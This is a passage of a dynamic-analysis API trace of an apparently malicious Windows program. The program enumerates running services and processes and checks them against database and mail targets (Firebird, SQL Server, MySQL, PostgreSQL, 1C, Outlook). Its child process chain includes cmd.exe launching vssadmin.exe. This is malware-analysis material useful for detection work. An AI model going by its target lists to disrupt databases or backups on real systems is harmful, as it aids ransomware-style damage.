(lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.994] lstrlenW (lpString="Winmgmt") returned 7 [0055.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.997] lstrlenW (lpString="WPDBusEnum") returned 10 [0055.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.999] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0056.000] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0056.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0056.001] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40838f0 | out: hHeap=0x4b0000) returned 1 [0056.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0056.014] Process32FirstW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.015] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.015] lstrlenW (lpString="System") returned 6 [0056.015] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0056.015] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0056.015] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0056.015] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0056.015] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0056.015] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0056.015] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0056.016] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.016] lstrlenW (lpString="smss.exe") returned 8 [0056.016] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0056.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0056.016] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0056.016] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0056.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0056.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0056.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0056.016] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.017] lstrlenW (lpString="csrss.exe") returned 9 [0056.017] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0056.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0056.017] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0056.017] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0056.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0056.017] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0056.017] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0056.017] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.018] lstrlenW (lpString="wininit.exe") returned 11 [0056.018] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0056.018] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0056.018] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0056.018] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.019] lstrlenW (lpString="csrss.exe") returned 9 [0056.019] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.027] lstrlenW (lpString="winlogon.exe") returned 12 [0056.027] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.028] lstrlenW (lpString="services.exe") returned 12 [0056.028] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.028] lstrlenW (lpString="lsass.exe") returned 9 [0056.028] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.029] lstrlenW (lpString="lsm.exe") returned 7 [0056.029] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.030] lstrlenW (lpString="svchost.exe") returned 11 [0056.030] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.030] lstrlenW (lpString="svchost.exe") returned 11 [0056.030] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.031] lstrlenW (lpString="svchost.exe") returned 11 [0056.031] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.032] lstrlenW (lpString="svchost.exe") returned 11 [0056.032] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.032] lstrlenW (lpString="svchost.exe") returned 11 [0056.033] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.033] lstrlenW (lpString="audiodg.exe") returned 11 [0056.033] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.034] lstrlenW (lpString="svchost.exe") returned 11 [0056.034] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.034] lstrlenW (lpString="svchost.exe") returned 11 [0056.035] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.035] lstrlenW (lpString="dwm.exe") returned 7 [0056.035] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.036] lstrlenW (lpString="explorer.exe") returned 12 [0056.036] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.037] lstrlenW (lpString="spoolsv.exe") returned 11 [0056.037] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.037] lstrlenW (lpString="taskhost.exe") returned 12 [0056.037] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.038] lstrlenW (lpString="svchost.exe") returned 11 [0056.038] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.039] lstrlenW (lpString="taskeng.exe") returned 11 [0056.039] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.039] lstrlenW (lpString="taskhost.exe") returned 12 [0056.039] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0056.040] lstrlenW (lpString="chem venues.exe") returned 15 [0056.040] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0056.041] lstrlenW (lpString="month.exe") returned 9 [0056.041] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0056.041] lstrlenW (lpString="glasgow.exe") returned 11 [0056.041] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0056.042] lstrlenW (lpString="rubber.exe") returned 10 [0056.042] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0056.043] lstrlenW (lpString="petroleum.exe") returned 13 [0056.043] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0056.043] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0056.043] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0056.044] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0056.044] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0056.045] lstrlenW (lpString="batman_oliver.exe") returned 17 [0056.045] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0056.045] lstrlenW (lpString="formation.exe") returned 13 [0056.045] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0056.046] lstrlenW (lpString="whole.exe") returned 9 [0056.046] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0056.046] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0056.047] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0056.047] lstrlenW (lpString="disorder.exe") returned 12 [0056.047] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0056.048] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0056.048] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0056.049] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0056.049] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0056.049] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0056.049] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0056.050] lstrlenW (lpString="perspective.exe") returned 15 [0056.050] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0056.051] lstrlenW (lpString="demand-site.exe") returned 15 [0056.051] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0056.051] lstrlenW (lpString="attachment.exe") returned 14 [0056.051] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0056.052] lstrlenW (lpString="valid-permit.exe") returned 16 [0056.052] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0056.053] lstrlenW (lpString="knights.exe") returned 11 [0056.053] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.053] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.053] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0056.054] lstrlenW (lpString="ohbdap.exe") returned 10 [0056.054] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.055] lstrlenW (lpString="cmd.exe") returned 7 [0056.055] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.055] lstrlenW (lpString="conhost.exe") returned 11 [0056.055] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.056] lstrlenW (lpString="vssadmin.exe") returned 12 [0056.056] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.057] lstrlenW (lpString="VSSVC.exe") returned 9 [0056.057] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.057] lstrlenW (lpString="svchost.exe") returned 11 [0056.057] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0056.058] CloseHandle (hObject=0x214) returned 1 [0056.058] Sleep (dwMilliseconds=0x1f4) [0056.683] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ff728 [0056.712] EnumServicesStatusExW (in: hSCManager=0x4ff728, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0056.717] GetLastError () returned 0xea [0056.718] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x40838f0 [0056.718] EnumServicesStatusExW (in: hSCManager=0x4ff728, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40838f0, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40838f0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0056.727] CloseServiceHandle (hSCObject=0x4ff728) returned 1 [0056.728] lstrlenW (lpString="Appinfo") returned 7 [0056.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.732] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.735] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.735] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.736] lstrlenW (lpString="AudioSrv") returned 8 [0056.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0056.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0056.738] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0056.739] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0056.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0056.740] lstrlenW (lpString="BFE") returned 3 [0056.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.741] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.741] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.742] lstrlenW (lpString="CryptSvc") returned 8 [0056.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.745] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.747] lstrlenW (lpString="CscService") returned 10 [0056.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0056.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0056.749] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0056.749] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0056.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0056.750] lstrlenW 